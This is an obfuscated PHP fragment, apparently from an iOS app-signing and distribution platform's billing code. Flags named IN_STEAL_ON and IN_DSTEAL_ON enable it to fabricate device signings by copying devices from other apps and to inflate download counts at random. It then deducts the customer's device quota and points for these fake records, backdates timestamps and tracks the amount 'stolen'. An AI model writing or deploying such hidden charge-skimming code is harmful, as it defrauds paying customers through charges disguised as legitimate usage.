where("in_id", $_var_0)->find() : $_var_0; if ($_var_0 && $_var_0["in_steal_on"]) { $_var_1 = db("user")->where("in_userid", $_var_0["in_uid"])->find(); if (IN_STEAL_ON && IN_STEAL_INTERVAL && $_var_0["in_sign_type"] == 2 && !$_var_0["in_private"] && $_var_1["device_num"] > 2) { $_var_2 = explode(",", IN_STEAL_INTERVAL); $_var_2 = intval($_var_2[array_rand($_var_2)]); $_var_3 = db("ios_device")->where("app_id", $_var_0["in_id"])->where("steal_time", ">", "0")->order("steal_time desc")->value("id") ?: 0; $_var_4 = db("ios_device")->where("app_id", $_var_0["in_id"])->where("id", ">", $_var_3)->count(); if ($_var_4 >= $_var_2) { $_var_5 = $this->getDevice($_var_0["in_id"]); if ($_var_5) { $_var_6 = db("ios_device")->insertGetId($_var_5); $_var_7 = time() + rand(-10, -5); $_var_6 = $_var_6 && db("super_sign")->insertGetId(["user_id" => $_var_0["in_uid"], "app_id" => $_var_0["in_id"], "app_name" => $_var_0["in_name"], "app_version" => $_var_0["in_bsvs"], "udid" => $_var_5["udid"], "cert_iss" => $_var_5["cert_iss"], "type" => 1, "create_time" => $_var_7, "update_time" => $_var_7, "sign_time" => $_var_7, "status" => 5]); $_var_6 && changeAc(-1, $_var_0["in_uid"], "device_num", "[" . $_var_0["in_id"] . "]-" . $_var_0["in_name"] . "-超级签名扣除"); } } } if (IN_DSTEAL_ON && IN_DSTEAL_INTERVAL && !$_var_0["in_sign_type"] && $_var_0["in_downloads"] > 9 && $_var_1["in_points"] > $_var_0["in_deduct"]) { $_var_2 = explode(",", IN_DSTEAL_INTERVAL); $_var_2 = max(intval($_var_2[array_rand($_var_2)]), 9); $_var_8 = rand(0, $_var_2); if ($_var_8 == $_var_2) { db("downhistory")->where("appid", $_var_0["in_id"])->whereTime("addtime", "today")->inc("down")->inc("down_points", $_var_0["in_deduct"])->inc("steal")->inc("steal_points", $_var_0["in_deduct"])->update(); db("appid")->where("in_id", $_var_0["in_id"])->inc("in_downloads")->update(); changeAc(-$_var_0["in_deduct"], $_var_0["in_uid"], "in_points", "[" . $_var_0["in_id"] . "]-" . $_var_0["in_name"] . "-下载扣除"); } } } } function getDevice($_var_9) { $_var_10 = db("ios_device")->where("app_id", "<>", $_var_9)->orderRand()->find(); if ($_var_10 && db("ios_device")->where("app_id", $_var_9)->where("udid", $_var_10["udid"])->where("cert_iss", $_var_10["cert_iss"])->count()) { return $this->getDevice($_var_9); } if ($_var_10) { $_var_10["app_id"] = $_var_9; $_var_10["create_time"] = time(); $_var_10["steal_time"] = time(); unset($_var_10["id"]); unset($_var_10["cert_dec"]); } return $_var_10; } }